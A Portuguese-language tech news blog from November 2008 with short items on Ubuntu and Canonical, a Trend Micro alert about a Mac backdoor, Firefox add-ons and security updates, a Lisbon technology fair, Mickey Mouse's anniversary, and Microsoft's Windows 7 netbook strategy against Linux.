A empresa, assim como seu CTO, sempre esteve e sempre estará interagindo com a comunidade e com os formadores de opinião para maior reconhecimento do que tem sido alcançado, especialmente no desktop, em que somos líderes em contribuição.

LMO» Como é a divisão de esforços dentro da Canonical para manter uma versão LTS (a 8.04) de forma concomitante a outra LTS (a 6.06, no caso) e várias versões "regulares" (7.04, 7.10, 8.10,...)?

FF» A Canonical possui times separados, cada um com sua funções específicas e designadas especialmente para atender a um ambiente completo de desenvolvimento, atendendo assim às inovações e tendências específicas a serem adotadas na plataforma.

Um gerente de versões, assim como os distintos gerentes de projetos, além da contínua interação com a comunidade e com parceiros, junto a eventos como o UDF (Ubuntu Developer Forum), permitem à Canonical adotar as diretrizes a serem escolhidas e, por conseqüência, manter um contínuo fluxo de desenvolvimento de lançamento das versões do Ubuntu.

LMO» Qual a importância do mercado brasileiro para o Ubuntu?

FF» O Brasil está entre os países foco de atuação da Canonical, sendo sem dúvida um local de atenção e importância para a empresa.


Fonte: Linux Magazine Online


Mac OS na Mira dos Hackers

A Trend Micro alerta para um novo malware que afecta o Sistema Operativo Mac. Detectado como OSX_LAMZEV.A , este ficheiro malicioso permite aos hackers ter controlo remoto sobre um sistema infectado.

Os utilizadores de Mac são infectados quando acedem a websites remotos abrindo uma backdoor no computador. É possível que a backdoor esteja disfarçada de aplicação legítima podendo ser instalada e executada pelo sistema.

A backdoor cria o ficheiro /tmp/com.apple.DockSettings e copia-o para a localização ~/Library/LaunchAgents, sendo imediatamente apagado depois de descarregado, para permitir à backdoor a sua execução sempre que se inicia o sistema. As aplicações seleccionadas pelos utilizadores são copiadas pela backdoor para uma determinada localização que, posteriormente, cria outra componente backdoor que é executada de cada vez que a aplicação Mac é iniciada.

Em Novembro de 2007, outro malware atacou os utilizadores de Mac. Detectado pela Trend Micro como OSX_DNSCHAN.A, este Trojan tinha duas versões, uma para o Windows e outra para Mac, dependendo do browser e do sistema operativo.

Não existem muitas ameças para Mac, mas o seu número começa a crescer. Para informação sobre outras ameças visite:
- Rogue App Sweeps Mac
- Scareware software makes its second round on Mac O/S

O Trend Micro Smart Protection Network já detectou o OSX_LAMZEV.A. permitindo a sua limpeza e remoção.

Mozilla Lança Fashion Your FireFox

A Mozilla acaba de lançar um novo site com o objectivo de proporcionar de forma mais organizada o acesso aos add-ons para o browser FireFox.

Assim, este site apresenta-se dividido em categorias permitindo a instalação dos add-ons directamente a partir do site.

Mike Shave, Vice-Presidente da Mozilla, disse «uma das melhoras partes do FireFox é a possibilidade de utilizar mais de 5.000 add-ons gratuitamente.Estamos muito contentes por anunciar o Fashion Your FireFox porque permite o acesso facilitado aos utilizadores a estes mesmos add-ons tornando assim possivel a personalização do browser conforme os gostos do seu utilizador.»

O site Fashion Your FireFox está disponivel em http://www.fashionyourfirefox.com/

terça-feira, 18 de novembro de 2008

Hoje é dia de Portugal Tecnológico

Arranca hoje na FIL uma mostra de 150 empresas e entidades que fazem das tecnologias o seu negócio. A mostra dá pelo nome de Portugal Tecnológico. Termina dia 23 de Novembro.
Extintas a Inforpor e a Comtec, a Portugal Tecnológico assume (pelo menos em 2008…) o papel de principal palco das tecnologias criadas e/ou comercializadas no mercado nacional.

O evento foi organizado pela Associação Industrial Portuguesa e o Gabinete do Coordenador do Plano Tecnológico. Vai ocupar 20 mil metros quadrados na Feira Internacional de Lisboa (FIL), Parque das Nações.

A mostra segue a lógica da verticalização, com a apresentação de casos de sucesso ou de “promessas” inovadoras em vários sectores: da Energia às Telecomunicações; da Educação à Saúde; do Turismo à Mobilidade; da Segurança ao Sector Automóvel.

O evento contou com a participação de mais de 3000 pessoas; tem 11 pólos de atracção e exigiu um investimento de cerca de um milhão de euros (co-financiado pelo QREN – Programa Operacional Factores de Competitividade e União Europeia).

Para saber mais sobre o evento clique aqui .

Rato Mickey celebra hoje o 80º aniversário

Faz hoje 80 anos que o rato mais famoso do mundo, Mickey apareceu pela primeira vez no cinema, em Nova Iorque, no filme «Steamboat Willie».
Inicialmente chamado Mortimer Mouse, Mickey foi imaginado por Walt Disney, mas quem lhe definiu os traços que são hoje reconhecíveis em todo o mundo foi o desenhador norte-americano Ub Iwer.

Uma das particularidades dos primeiros filmes do rato mais famoso do mundo é que a voz de Mickey é assegurada pelo próprio Disney, o que aconteceu até 1946. O seu vestuário, calções vermelhos e sapatos amarelos, são uma homenagem de seu criador à Ordem de DeMolay, da qual era membro.

Mickey é o grande herói dos anos da Depressão, numa altura em que são criados também Pluto, Mancha Negra, Pateta, Clarabela e Pato Donald.

Mickey é o anfitrião da Disneyland, desde a sua inauguração em 1955. Em 1978, na celebração dos seus 50 anos, tornou-se a primeira personagem de animação a ter uma estrela no Passeio da Fama de Hollywood.

Por que a Microsoft teme o Linux?


Para o blogueiro Preston Gralla, do Computerworld, EUA, a Microsoft desenvolveu o Windows 7 mais simples para matar o crescimento do Linux nos netbooks.

A Microsoft criou o Windows 7 mais leve para que ele rodasse em netbooks. Como evidência disso, destaco Jerry Shen, o CEO ASUS, declarando que pretende lançar uma versão do Eee PC com Windows 7 em meados de 2009.

E, também, que a taxa de devolução de netbooks com Linux nos Estados Unidos é pelo menos quatro vezes maior do que os subnotebooks com XP para a fabricante MSI.

Esses são alguns dos motivos que o Linux deveria temer a Microsoft; mas o contrário é verdadeiro também.

A Microsoft definiu como prioridade deixar o Windows 7 mais leve para controlar o crescimento impressionante de Linux em netbooks.

Uma reportagem na Bloomberg aponta que os principais fabricantes de netbooks, a

Acer e a Asus (que possuem juntas 90% do mercado) estão usando Linux software em 30% das suas máquinas. Se comparado com os computadores pessoais, em que a Microsoft detém cerca de 90% do mercado, o número é bastante relevante.

Dados do Citigroup indicam que, em 2008, os netbooks serão responsáveis por um terço do crescimento do mercado de PCs. As vendas dos netbooks vão crescer 60% ao ano, bem mais do que o 18% de alta do setor de notebooks segundo relatório enviado em setembro pela BNP Paribas SA.

A preocupação da Microsoft está além dos 30% netbook com Linux. A empresa está inquieta com o fato das pessoas se acostumarem a usar Linux no netbook e, em pouco tempo, comprarem Linux para os outros PCs. Esta foi a explicação de Dickie Chang, analista da IDC em Taiwan, na reportagem.

Isto é uma ameaça real à Microsoft. A movimentação vai dar aos usuários uma possibilidade de ver e testar algo novo, mostrando que existe uma alternativa. O netbook com Linux é tão ameaçador para a empresa quanto a inexistência de sistema operacional no cloud computing.

Está claro que a Microsoft não vê netbook com Linux como apenas um nicho, mas uma ameaça ao negócio de desktop também.

Este é o porquê quando o Windows 7 for lançado, a Microsoft vai colcoar todas as suas energias para forçar o Windows 7 em netbooks. E isso vai além da publicidade. Haverá descontos para netbooks com Windows 7, ofertas com hardware especiais e mais. Todo esse dinheiro vai ter um efeito no futuro: a participação do Linux em netbooks vai cair ao mesmo tempo em que a do Windows vai aumentar.

Ubuntu Poderá Surgir em NetBooks...

Pelo menos é o que as empresas Canonical Ltd e a ARM anunciaram.
Assim e graças à parceria entre as duas empresas, o Ubuntu deverá surgir nos computadores (NetBooks) com processadores ARMv7 já a partir de Abril do próximo ano.

Em breve deverá haver uma versão especialmente optimizada para os processadores ARMv7. Paa quem não conhece a marca ARM, pode-se dizer que são responsáveis por cerca de 70 a 80% dos processadores que estão presentes nos telemóveis de todo o mundo, onde está incluído o famoso G1 da Google...

Atualizações de segurança para Mozilla Firefox e SeaMonkey

Acabam de ser lançados o Mozilla Firefox 3.0.4, Mozilla Firefox 2.0.0.18 e SeaMonkey 1.1.13. Estes lançamentos contém muitas atualizações de segurança críticas, incluindo correções para travamentos e execução remota de código. Todos os usuários devem atualizar para as últimas versões.